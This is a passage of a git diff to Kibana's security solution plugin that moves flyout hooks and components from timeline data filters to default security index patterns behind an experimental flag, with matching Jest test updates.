jest.mocked(useShowRelatedAlertsBySession).mockReturnValue({ show: false }); jest.mocked(useShowRelatedCases).mockReturnValue(false); jest.mocked(useShowSuppressedAlerts).mockReturnValue({ show: false, alertSuppressionCount: 0 }); - mockUseTimelineDataFilters.mockReturnValue({ selectedPatterns: ['index'] }); + (useEnableExperimental as jest.Mock).mockReturnValue({ + newDataViewPickerEnabled: true, + }); + (useSecurityDefaultPatterns as jest.Mock).mockReturnValue({ + indexPatterns: ['index'], + }); (useNavigateToLeftPanel as jest.Mock).mockReturnValue({ navigateToLeftPanel: mockNavigateToLeftPanel, isEnabled: true, diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/correlations_overview.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/correlations_overview.tsx index 614297338925b..0d82c1031bffc 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/correlations_overview.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/correlations_overview.tsx @@ -11,6 +11,7 @@ import { EuiFlexGroup } from '@elastic/eui'; import { FormattedMessage } from '@kbn/i18n-react'; import { ALERT_RULE_TYPE } from '@kbn/rule-data-utils'; import type { Type } from '@kbn/securitysolution-io-ts-alerting-types'; +import { useSelector } from 'react-redux'; import { ExpandablePanel } from '../../../shared/components/expandable_panel'; import { useShowRelatedAlertsBySession } from '../../shared/hooks/use_show_related_alerts_by_session'; import { RelatedAlertsBySession } from './related_alerts_by_session'; @@ -26,9 +27,10 @@ import { CORRELATIONS_TEST_ID } from './test_ids'; import { useDocumentDetailsContext } from '../../shared/context'; import { LeftPanelInsightsTab } from '../../left'; import { CORRELATIONS_TAB_ID } from '../../left/components/correlations_details'; -import { useTimelineDataFilters } from '../../../../timelines/containers/use_timeline_data_filters'; -import { isActiveTimeline } from '../../../../helpers'; import { useTourContext } from '../../../../common/components/guided_onboarding_tour'; +import { useEnableExperimental } from '../../../../common/hooks/use_experimental_features'; +import { useSecurityDefaultPatterns } from '../../../../data_view_manager/hooks/use_security_default_patterns'; +import { sourcererSelectors } from '../../../../sourcerer/store'; import { AlertsCasesTourSteps, SecurityStepId, @@ -45,7 +47,13 @@ export const CorrelationsOverview: React.FC = () => { useDocumentDetailsContext(); const { isTourShown, activeStep } = useTourContext(); - const { selectedPatterns } = useTimelineDataFilters(isActiveTimeline(scopeId)); + const { newDataViewPickerEnabled } = useEnableExperimental(); + const oldSecurityDefaultPatterns = + useSelector(sourcererSelectors.defaultDataView)?.patternList ?? []; + const { indexPatterns: experimentalSecurityDefaultIndexPatterns } = useSecurityDefaultPatterns(); + const securityDefaultPatterns = newDataViewPickerEnabled + ? experimentalSecurityDefaultIndexPatterns + : oldSecurityDefaultPatterns; const { navigateToLeftPanel: goToCorrelationsTab, isEnabled: isLinkEnabled } = useNavigateToLeftPanel({ @@ -129,7 +137,7 @@ export const CorrelationsOverview: React.FC = () => { {showAlertsByAncestry && ( )} diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/highlighted_fields_cell.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/highlighted_fields_cell.tsx index 2dd550a65c483..941b31add3673 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/highlighted_fields_cell.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/highlighted_fields_cell.tsx @@ -19,7 +19,8 @@ import { HIGHLIGHTED_FIELDS_CELL_TEST_ID, HIGHLIGHTED_FIELDS_LINKED_CELL_TEST_ID, } from './test_ids'; -import { hasPreview, PreviewLink } from '../../../shared/components/preview_link'; +import { isFlyoutLink } from '../../../shared/utils/link_utils'; +import { PreviewLink } from '../../../shared/components/preview_link'; export interface HighlightedFieldsCellProps { /** @@ -80,7 +81,7 @@ export const HighlightedFieldsCell: FC = ({ key={`${i}-${value}`} data-test-subj={`${value}-${HIGHLIGHTED_FIELDS_CELL_TEST_ID}`} > - {showPreview && hasPreview(field) ? ( + {showPreview && isFlyoutLink({ field, scopeId }) ? ( { alertIds: [], }); -jest.mock('../../../../timelines/containers/use_timeline_data_filters', () => ({ - useTimelineDataFilters: jest.fn(), -})); -const mockUseTimelineDataFilters = useTimelineDataFilters as jest.Mock; +jest.mock('../../../../data_view_manager/hooks/use_security_default_patterns'); +jest.mock('../../../../common/hooks/use_experimental_features'); const from = '2022-04-05T12:00:00.000Z'; const to = '2022-04-08T12:00:00.;000Z'; @@ -113,7 +112,12 @@ const renderInsightsSection = (contextValue: DocumentDetailsContext) => describe('', () => { beforeEach(() => { - mockUseTimelineDataFilters.mockReturnValue({ selectedPatterns: ['index'] }); + (useEnableExperimental as jest.Mock).mockReturnValue({ + newDataViewPickerEnabled: true, + }); + (useSecurityDefaultPatterns as jest.Mock).mockReturnValue({ + indexPatterns: ['index'], + }); mockUseUserDetails.mockReturnValue([false, { userDetails: null }]); mockUseRiskScore.mockReturnValue({ data: null, isAuthorized: false }); mockUseHostDetails.mockReturnValue([false, { hostDetails: null }]); diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/table_field_value_cell.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/table_field_value_cell.tsx index ba5a8195ab385..6ecec780f48f0 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/table_field_value_cell.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/table_field_value_cell.tsx @@ -14,7 +14,8 @@ import { OverflowField } from '../../../../common/components/tables/helpers'; import { FormattedFieldValue } from '../../../../timelines/components/timeline/body/renderers/formatted_field'; import { MESSAGE_FIELD_NAME } from '../../../../timelines/components/timeline/body/renderers/constants'; import { FLYOUT_TABLE_PREVIEW_LINK_FIELD_TEST_ID } from './test_ids'; -import { hasPreview, PreviewLink } from '../../../shared/components/preview_link'; +import { isFlyoutLink } from '../../../shared/utils/link_utils'; +import { PreviewLink } from '../../../shared/components/preview_link'; export interface FieldValueCellProps { /** @@ -86,13 +87,12 @@ export const TableFieldValueCell = memo( {data.field === MESSAGE_FIELD_NAME ? ( - ) : hasPreview(data.field) ? ( + ) : isFlyoutLink({ field: data.field, ruleId, scopeId }) ? ( ) : ( diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/visualizations_section.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/visualizations_section.test.tsx index 31863b4404d90..431b6af7df8bb 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/visualizations_section.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/visualizations_section.test.tsx @@ -26,26 +26,24 @@ import { mockContextValue } from '../../shared/mocks/mock_context'; import { mockDataFormattedForFieldBrowser } from '../../shared/mocks/mock_data_formatted_for_field_browser'; import { DocumentDetailsContext } from '../../shared/context'; import { useAlertPrevalenceFromProcessTree } from '../../shared/hooks/use_alert_prevalence_from_process_tree'; -import { useTimelineDataFilters } from '../../../../timelines/containers/use_timeline_data_filters'; -import { TestProvider } from '@kbn/expandable-flyout/src/test/provider'; +import { TestProviders } from '../../../../common/mock'; import { useExpandSection } from '../hooks/use_expand_section'; import { useInvestigateInTimeline } from '../../../../detections/components/alerts_table/timeline_actions/use_investigate_in_timeline'; import { useIsInvestigateInResolverActionEnabled } from '../../../../detections/components/alerts_table/timeline_actions/investigate_in_resolver'; import { useGraphPreview } from '../../shared/hooks/use_graph_preview'; -import { useIsExperimentalFeatureEnabled } from '../../../../common/hooks/use_experimental_features'; +import { useEnableExperimental } from '../../../../common/hooks/use_experimental_features'; import { createUseUiSetting$Mock } from '../../../../common/lib/kibana/kibana_react.mock'; import { ENABLE_GRAPH_VISUALIZATION_SETTING } from '../../../../../common/constants'; - +import { useSelectedPatterns } from '../../../../data_view_manager/hooks/use_selected_patterns'; jest.mock('../hooks/use_expand_section'); jest.mock('../../shared/hooks/use_alert_prevalence_from_process_tree', () => ({ useAlertPrevalenceFromProcessTree: jest.fn(), })); const mockUseAlertPrevalenceFromProcessTree = useAlertPrevalenceFromProcessTree as jest.Mock; -jest.mock('../../../../timelines/containers/use_timeline_data_filters', () => ({ - useTimelineDataFilters: jest.fn(), -})); -const mockUseTimelineDataFilters = useTimelineDataFilters as jest.Mock; +jest.mock('../../../../common/hooks/use_experimental_features'); +jest.mock('../../../../data_view_manager/hooks/use_selected_patterns'); + jest.mock('react-redux', () => { const original = jest.requireActual('react-redux'); @@ -61,13 +59,6 @@ jest.mock( '../../../../detections/components/alerts_table/timeline_actions/investigate_in_resolver' ); -jest.mock('../../../../common/hooks/use_experimental_features', () => ({ - useIsExperimentalFeatureEnabled: jest.fn(), -})); - -const useIsExperimentalFeatureEnabledMock = useIsExperimentalFeatureEnabled as jest.Mock; -useIsExperimentalFeatureEnabledMock.mockReturnValue(true); - const mockUseUiSetting = jest.fn().mockImplementation((key) => [false]); jest.mock('@kbn/kibana-react-plugin/public', () => { const original = jest.requireActual('@kbn/kibana-react-plugin/public'); @@ -102,18 +93,21 @@ const panelContextValue = { const renderVisualizationsSection = (contextValue = panelContextValue) => render( - + - +
    ); describe('', () => { beforeEach(() => { mockUseUiSetting.mockImplementation(() => [false]); - mockUseTimelineDataFilters.mockReturnValue({ selectedPatterns: ['index'] }); + (useSelectedPatterns as jest.Mock).mockReturnValue(['index']); + (useEnableExperimental as jest.Mock).mockReturnValue({ + newDataViewPickerEnabled: true, + }); mockUseAlertPrevalenceFromProcessTree.mockReturnValue({ loading: false, error: false, diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/hooks/use_assistant.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/hooks/use_assistant.test.tsx index 66f16c9280923..3180f40aaf6da 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/hooks/use_assistant.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/hooks/use_assistant.test.tsx @@ -79,6 +79,22 @@ describe('useAssistant', () => { expect(hookResult.result.current.promptContextId).toEqual('123'); }); + it(`should return showAssistant false if isAssistantEnabled is false`, () => { + jest.mocked(useAssistantAvailability).mockReturnValue({ + hasSearchAILakeConfigurations: false, + hasAssistantPrivilege: true, + hasConnectorsAllPrivilege: true, + hasConnectorsReadPrivilege: true, + hasUpdateAIAssistantAnonymization: true, + hasManageGlobalKnowledgeBase: true, + isAssistantEnabled: false, + }); + + hookResult = renderUseAssistant(); + + expect(hookResult.result.current.showAssistant).toEqual(false); + }); + it(`should return showAssistant false if hasAssistantPrivilege is false`, () => { jest.mocked(useAssistantAvailability).mockReturnValue({ hasSearchAILakeConfigurations: false, diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/hooks/use_assistant.ts b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/hooks/use_assistant.ts index 7a3c137a396f9..0671aeff35c5e 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/hooks/use_assistant.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/hooks/use_assistant.ts @@ -107,7 +107,7 @@ export const useAssistant = ({ ); return { - showAssistant: hasAssistantPrivilege && promptContextId !== null, + showAssistant: isAssistantEnabled && hasAssistantPrivilege && promptContextId !== null, showAssistantOverlay, promptContextId: promptContextId || '', }; diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/shared/components/misconfiguration_insight.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/shared/components/misconfiguration_insight.tsx index 444aace05119e..e2e67825cffb7 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/shared/components/misconfiguration_insight.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/shared/components/misconfiguration_insight.tsx @@ -74,7 +74,7 @@ export const MisconfigurationsInsight: React.FC = openDetailsPanel, }) => { const renderingId = useGeneratedHtmlId(); - const { scopeId, isRulePreview } = useDocumentDetailsContext(); + const { scopeId } = useDocumentDetailsContext(); const { euiTheme } = useEuiTheme(); const { data } = useMisconfigurationPreview({ query: buildGenericEntityFlyoutPreviewQuery(fieldName, name), @@ -138,7 +138,6 @@ export const MisconfigurationsInsight: React.FC = field={fieldName} value={name} scopeId={scopeId} - isRulePreview={isRulePreview} data-test-subj={`${dataTestSubj}-count`} > @@ -151,7 +150,6 @@ export const MisconfigurationsInsight: React.FC = fieldName, name, scopeId, - isRulePreview, dataTestSubj, euiTheme.size, isNewNavigationEnabled, diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/shared/components/vulnerabilities_insight.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/shared/components/vulnerabilities_insight.tsx index 445b83c5cd174..d55307972eb8f 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/shared/components/vulnerabilities_insight.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/shared/components/vulnerabilities_insight.tsx @@ -70,7 +70,7 @@ export const VulnerabilitiesInsight: React.FC = ({ openDetailsPanel, }) => { const renderingId = useGeneratedHtmlId(); - const { scopeId, isRulePreview } = useDocumentDetailsContext(); + const { scopeId } = useDocumentDetailsContext(); const { euiTheme } = useEuiTheme(); const { getSeverityStatusColor } = useGetSeverityStatusColor(); const { data } = useVulnerabilitiesPreview({ @@ -159,7 +159,6 @@ export const VulnerabilitiesInsight: React.FC = ({ field={'host.name'} value={hostName} scopeId={scopeId} - isRulePreview={isRulePreview} data-test-subj={`${dataTestSubj}-count`} > @@ -171,7 +170,6 @@ export const VulnerabilitiesInsight: React.FC = ({ totalVulnerabilities, hostName, scopeId, - isRulePreview, dataTestSubj, euiTheme.size, isNewNavigationEnabled, diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/shared/hooks/use_alert_prevalence_from_process_tree.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/shared/hooks/use_alert_prevalence_from_process_tree.test.tsx index 668f233e65710..2feed7fbfe6ef 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/shared/hooks/use_alert_prevalence_from_process_tree.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/shared/hooks/use_alert_prevalence_from_process_tree.test.tsx @@ -13,7 +13,8 @@ import type { } from './use_alert_prevalence_from_process_tree'; import { useAlertPrevalenceFromProcessTree } from './use_alert_prevalence_from_process_tree'; import { useHttp } from '../../../../common/lib/kibana'; -import { useTimelineDataFilters } from '../../../../timelines/containers/use_timeline_data_filters'; +import { useEnableExperimental } from '../../../../common/hooks/use_experimental_features'; +import { useSecurityDefaultPatterns } from '../../../../data_view_manager/hooks/use_security_default_patterns'; import { useQuery } from '@tanstack/react-query'; import { useAlertDocumentAnalyzerSchema } from './use_alert_document_analyzer_schema'; import { mockStatsNode } from '../../right/mocks/mock_analyzer_data'; @@ -22,6 +23,17 @@ jest.mock('../../../../common/lib/kibana'); jest.mock('../../../../timelines/containers/use_timeline_data_filters'); jest.mock('./use_alert_document_analyzer_schema'); jest.mock('@tanstack/react-query'); +jest.mock('../../../../data_view_manager/hooks/use_security_default_patterns'); +jest.mock('../../../../common/hooks/use_experimental_features'); + +jest.mock('react-redux', () => { + const originalModule = jest.requireActual('react-redux'); + + return { + ...originalModule, + useSelector: jest.fn().mockReturnValue({ patternList: ['index'] }), + }; +}); describe('useAlertPrevalenceFromProcessTree', () => { let hookResult: RenderHookResult< @@ -33,8 +45,11 @@ describe('useAlertPrevalenceFromProcessTree', () => { (useHttp as jest.Mock).mockReturnValue({ post: jest.fn(), }); - (useTimelineDataFilters as jest.Mock).mockReturnValue({ - selectedPatterns: [], + (useEnableExperimental as jest.Mock).mockReturnValue({ + newDataViewPickerEnabled: true, + }); + (useSecurityDefaultPatterns as jest.Mock).mockReturnValue({ + indexPatterns: ['index'], }); }); diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/shared/hooks/use_alert_prevalence_from_process_tree.ts b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/shared/hooks/use_alert_prevalence_from_process_tree.ts index f9c27f6e2ccb4..552953ed5155a 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/shared/hooks/use_alert_prevalence_from_process_tree.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/shared/hooks/use_alert_prevalence_from_process_tree.ts @@ -7,9 +7,12 @@ import { useQuery } from '@tanstack/react-query'; import { useMemo } from 'react'; +import { useSelector } from 'react-redux'; +import { useEnableExperimental } from '../../../../common/hooks/use_experimental_features'; import { useAlertDocumentAnalyzerSchema } from './use_alert_document_analyzer_schema'; -import { useTimelineDataFilters } from '../../../../timelines/containers/use_timeline_data_filters'; import { useHttp } from '../../../../common/lib/kibana'; +import { sourcererSelectors } from '../../../../sourcerer/store'; +import { useSecurityDefaultPatterns } from '../../../../data_view_manager/hooks/use_security_default_patterns'; export interface StatsNode { /** @@ -108,10 +111,17 @@ export function useAlertPrevalenceFromProcessTree({ }: UseAlertPrevalenceFromProcessTreeParams): UserAlertPrevalenceFromProcessTreeResult { const http = useHttp(); - const { selectedPatterns } = useTimelineDataFilters(isActiveTimeline); + const { newDataViewPickerEnabled } = useEnableExperimental(); + const oldSecurityDefaultPatterns = + useSelector(sourcererSelectors.defaultDataView)?.patternList ?? []; + const { indexPatterns: experimentalSecurityDefaultIndexPatterns } = useSecurityDefaultPatterns(); + const securityDefaultPatterns = newDataViewPickerEnabled + ? experimentalSecurityDefaultIndexPatterns + : oldSecurityDefaultPatterns; + const alertAndOriginalIndices = useMemo( - () => [...new Set(selectedPatterns.concat(indices))], - [indices, selectedPatterns] + () => [...new Set(securityDefaultPatterns.concat(indices))], + [indices, securityDefaultPatterns] ); const { loading, id, schema, agentId } = useAlertDocumentAnalyzerSchema({ documentId, diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/shared/hooks/use_fetch_prevalence.ts b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/shared/hooks/use_fetch_prevalence.ts index 3b27ff0e00d36..44d885759599a 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/shared/hooks/use_fetch_prevalence.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/shared/hooks/use_fetch_prevalence.ts @@ -9,11 +9,12 @@ import { buildEsQuery } from '@kbn/es-query'; import type { IEsSearchRequest } from '@kbn/search-types'; import { useQuery } from '@tanstack/react-query'; import type { QueryDslQueryContainer } from '@elastic/elasticsearch/lib/api/types'; +import { useSelector } from 'react-redux'; import { createFetchData } from '../utils/fetch_data'; import { useKibana } from '../../../../common/lib/kibana'; -import { useTimelineDataFilters } from '../../../../timelines/containers/use_timeline_data_filters'; -import { isActiveTimeline } from '../../../../helpers'; -import { SourcererScopeName } from '../../../../sourcerer/store/model'; +import { useEnableExperimental } from '../../../../common/hooks/use_experimental_features'; +import { useSecurityDefaultPatterns } from '../../../../data_view_manager/hooks/use_security_default_patterns'; +import { sourcererSelectors } from '../../../../sourcerer/store'; const QUERY_KEY = 'useFetchFieldValuePairWithAggregation'; @@ -103,9 +104,20 @@ export const useFetchPrevalence = ({ } = useKibana(); // retrieves detections and non-detections indices (for example, the alert security index from the current space and 'logs-*' indices) - const { selectedPatterns } = useTimelineDataFilters(isActiveTimeline(SourcererScopeName.default)); + const { newDataViewPickerEnabled } = useEnableExperimental(); + const oldSecurityDefaultPatterns = + useSelector(sourcererSelectors.defaultDataView)?.patternList ?? []; + const { indexPatterns: experimentalSecurityDefaultIndexPatterns } = useSecurityDefaultPatterns(); + const securityDefaultPatterns = newDataViewPickerEnabled + ? experimentalSecurityDefaultIndexPatterns + : oldSecurityDefaultPatterns; - const searchRequest = buildSearchRequest(highlightedFieldsFilters, from, to, selectedPatterns); + const searchRequest = buildSearchRequest( + highlightedFieldsFilters, + from, + to, + securityDefaultPatterns + ); const { data, isLoading, isError } = useQuery( [QUERY_KEY, highlightedFieldsFilters, from, to], diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/entity_details/generic_right/content.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/entity_details/generic_right/content.tsx index 6ff696badcfa4..48af21f7b4756 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/entity_details/generic_right/content.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/entity_details/generic_right/content.tsx @@ -7,7 +7,7 @@ import React, { useMemo } from 'react'; import { FormattedMessage } from '@kbn/i18n-react'; -import { EuiHorizontalRule, EuiTitle, useEuiTheme } from '@elastic/eui'; +import { EuiTitle, useEuiTheme } from '@elastic/eui'; import { css } from '@emotion/react'; import { getFlattenedObject } from '@kbn/std'; import type { GenericEntityRecord } from '../../../asset_inventory/types/generic_entity_record'; @@ -81,6 +81,13 @@ export const GenericEntityFlyoutContent = ({ return ( + - - - - ); }; diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/entity_details/host_right/hooks/use_observed_host.ts b/x-pack/solutions/security/plugins/security_solution/public/flyout/entity_details/host_right/hooks/use_observed_host.ts index 5933be6e1a1b7..5a2e3eac2cc9b 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/entity_details/host_right/hooks/use_observed_host.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/entity_details/host_right/hooks/use_observed_host.ts @@ -6,8 +6,9 @@ */ import { useMemo } from 'react'; +import { useSelector } from 'react-redux'; import { useDeepEqualSelector } from '../../../../common/hooks/use_selector'; -import { inputsSelectors } from '../../../../common/store'; +import { inputsSelectors, sourcererSelectors } from '../../../../common/store'; import { useHostDetails } from '../../../../explore/hosts/containers/hosts/details'; import { useFirstLastSeen } from '../../../../common/containers/use_first_last_seen'; import { useGlobalTime } from '../../../../common/containers/use_global_time'; @@ -17,7 +18,8 @@ import { HOST_PANEL_OBSERVED_HOST_QUERY_ID, HOST_PANEL_RISK_SCORE_QUERY_ID } fro import { useQueryInspector } from '../../../../common/components/page/manage_query'; import type { ObservedEntityData } from '../../shared/components/observed_entity/types'; import { isActiveTimeline } from '../../../../helpers'; -import { useTimelineDataFilters } from '../../../../timelines/containers/use_timeline_data_filters'; +import { useSecurityDefaultPatterns } from '../../../../data_view_manager/hooks/use_security_default_patterns'; +import { useEnableExperimental } from '../../../../common/hooks/use_experimental_features'; export const useObservedHost = ( hostName: string, @@ -31,12 +33,18 @@ export const useObservedHost = ( const { to, from } = isActiveTimelines ? timelineTime : globalTime; const { isInitializing, setQuery, deleteQuery } = globalTime; - const { selectedPatterns } = useTimelineDataFilters(isActiveTimeline(scopeId)); + const { newDataViewPickerEnabled } = useEnableExperimental(); + const oldSecurityDefaultPatterns = + useSelector(sourcererSelectors.defaultDataView)?.patternList ?? []; + const { indexPatterns: experimentalSecurityDefaultIndexPatterns } = useSecurityDefaultPatterns(); + const securityDefaultPatterns = newDataViewPickerEnabled + ? experimentalSecurityDefaultIndexPatterns + : oldSecurityDefaultPatterns; const [isLoading, { hostDetails, inspect: inspectObservedHost }, refetch] = useHostDetails({ endDate: to, hostName, - indexNames: selectedPatterns, + indexNames: securityDefaultPatterns, id: HOST_PANEL_RISK_SCORE_QUERY_ID, skip: isInitializing, startDate: from, @@ -54,7 +62,7 @@ export const useObservedHost = ( const [loadingFirstSeen, { firstSeen }] = useFirstLastSeen({ field: 'host.name', value: hostName, - defaultIndex: selectedPatterns, + defaultIndex: securityDefaultPatterns, order: Direction.asc, filterQuery: NOT_EVENT_KIND_ASSET_FILTER, }); @@ -62,7 +70,7 @@ export const useObservedHost = ( const [loadingLastSeen, { lastSeen }] = useFirstLastSeen({ field: 'host.name', value: hostName, - defaultIndex: selectedPatterns, + defaultIndex: securityDefaultPatterns, order: Direction.desc, filterQuery: NOT_EVENT_KIND_ASSET_FILTER, }); diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/entity_details/service_right/hooks/use_observed_service.ts b/x-pack/solutions/security/plugins/security_solution/public/flyout/entity_details/service_right/hooks/use_observed_service.ts index 8a71dd3f20f44..3c08ab724dd5f 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/entity_details/service_right/hooks/use_observed_service.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/entity_details/service_right/hooks/use_observed_service.ts @@ -6,6 +6,7 @@ */ import { useMemo } from 'react'; +import { useSelector } from 'react-redux'; import { useDeepEqualSelector } from '../../../../common/hooks/use_selector'; import { inputsSelectors } from '../../../../common/store'; import { useQueryInspector } from '../../../../common/components/page/manage_query'; @@ -15,7 +16,9 @@ import { Direction, NOT_EVENT_KIND_ASSET_FILTER } from '../../../../../common/se import { useGlobalTime } from '../../../../common/containers/use_global_time'; import { useFirstLastSeen } from '../../../../common/containers/use_first_last_seen'; import { isActiveTimeline } from '../../../../helpers'; -import { useTimelineDataFilters } from '../../../../timelines/containers/use_timeline_data_filters'; +import { useEnableExperimental } from '../../../../common/hooks/use_experimental_features'; +import { useSecurityDefaultPatterns } from '../../../../data_view_manager/hooks/use_security_default_patterns'; +import { sourcererSelectors } from '../../../../sourcerer/store'; import { useObservedServiceDetails } from './observed_service_details'; export const useObservedService = ( @@ -30,7 +33,13 @@ export const useObservedService = ( const { to, from } = isActiveTimelines ? timelineTime : globalTime; const { isInitializing, setQuery, deleteQuery } = globalTime; - const { selectedPatterns } = useTimelineDataFilters(isActiveTimeline(scopeId)); + const { newDataViewPickerEnabled } = useEnableExperimental(); + const oldSecurityDefaultPatterns = + useSelector(sourcererSelectors.defaultDataView)?.patternList ?? []; + const { indexPatterns: experimentalSecurityDefaultIndexPatterns } = useSecurityDefaultPatterns(); + const securityDefaultPatterns = newDataViewPickerEnabled + ? experimentalSecurityDefaultIndexPatterns + : oldSecurityDefaultPatterns; const [ loadingObservedService, @@ -39,7 +48,7 @@ export const useObservedService = ( endDate: to, startDate: from, serviceName, - indexNames: selectedPatterns, + indexNames: securityDefaultPatterns, skip: isInitializing, }); @@ -55,7 +64,7 @@ export const useObservedService = ( const [loadingFirstSeen, { firstSeen }] = useFirstLastSeen({ field: 'service.name', value: serviceName, - defaultIndex: selectedPatterns, + defaultIndex: securityDefaultPatterns, order: Direction.asc, filterQuery: NOT_EVENT_KIND_ASSET_FILTER, }); @@ -63,7 +72,7 @@ export const useObservedService = ( const [loadingLastSeen, { lastSeen }] = useFirstLastSeen({ field: 'service.name', value: serviceName, - defaultIndex: selectedPatterns, + defaultIndex: securityDefaultPatterns, order: Direction.desc, filterQuery: NOT_EVENT_KIND_ASSET_FILTER, }); diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/entity_details/shared/components/entity_table/columns.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/entity_details/shared/components/entity_table/columns.tsx index e23f26de03d98..10b49d8722489 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/entity_details/shared/components/entity_table/columns.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/entity_details/shared/components/entity_table/columns.tsx @@ -12,7 +12,8 @@ import { FormattedMessage } from '@kbn/i18n-react'; import { DefaultFieldRenderer } from '../../../../../timelines/components/field_renderers/default_renderer'; import { getEmptyTagValue } from '../../../../../common/components/empty_value'; import type { BasicEntityData, EntityTableColumns } from './types'; -import { hasPreview, PreviewLink } from '../../../../shared/components/preview_link'; +import { isFlyoutLink } from '../../../../shared/utils/link_utils'; +import { PreviewLink } from '../../../../shared/components/preview_link'; export const getEntityTableColumns = ( contextID: string, @@ -51,7 +52,7 @@ export const getEntityTableColumns = ( const values = getValues && getValues(data); if (field) { - const showPreviewLink = values && hasPreview(field); + const showPreviewLink = values && isFlyoutLink({ field, scopeId }); const renderPreviewLink = (value: string) => ( ); diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/entity_details/user_right/hooks/use_observed_user.ts b/x-pack/solutions/security/plugins/security_solution/public/flyout/entity_details/user_right/hooks/use_observed_user.ts index 7918a400bb074..0a8367b2fb832 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/entity_details/user_right/hooks/use_observed_user.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/entity_details/user_right/hooks/use_observed_user.ts @@ -6,6 +6,7 @@ */ import { useMemo } from 'react'; +import { useSelector } from 'react-redux'; import { useDeepEqualSelector } from '../../../../common/hooks/use_selector'; import { inputsSelectors } from '../../../../common/store'; import { useQueryInspector } from '../../../../common/components/page/manage_query'; @@ -16,7 +17,9 @@ import { Direction, NOT_EVENT_KIND_ASSET_FILTER } from '../../../../../common/se import { useGlobalTime } from '../../../../common/containers/use_global_time'; import { useFirstLastSeen } from '../../../../common/containers/use_first_last_seen'; import { isActiveTimeline } from '../../../../helpers'; -import { useTimelineDataFilters } from '../../../../timelines/containers/use_timeline_data_filters'; +import { useEnableExperimental } from '../../../../common/hooks/use_experimental_features'; +import { useSecurityDefaultPatterns } from '../../../../data_view_manager/hooks/use_security_default_patterns'; +import { sourcererSelectors } from '../../../../sourcerer/store'; export const useObservedUser = ( userName: string, @@ -30,14 +33,20 @@ export const useObservedUser = ( const { to, from } = isActiveTimelines ? timelineTime : globalTime; const { isInitializing, setQuery, deleteQuery } = globalTime; - const { selectedPatterns } = useTimelineDataFilters(isActiveTimeline(scopeId)); + const { newDataViewPickerEnabled } = useEnableExperimental(); + const oldSecurityDefaultPatterns = + useSelector(sourcererSelectors.defaultDataView)?.patternList ?? []; + const { indexPatterns: experimentalSecurityDefaultIndexPatterns } = useSecurityDefaultPatterns(); + const securityDefaultPatterns = newDataViewPickerEnabled + ? experimentalSecurityDefaultIndexPatterns + : 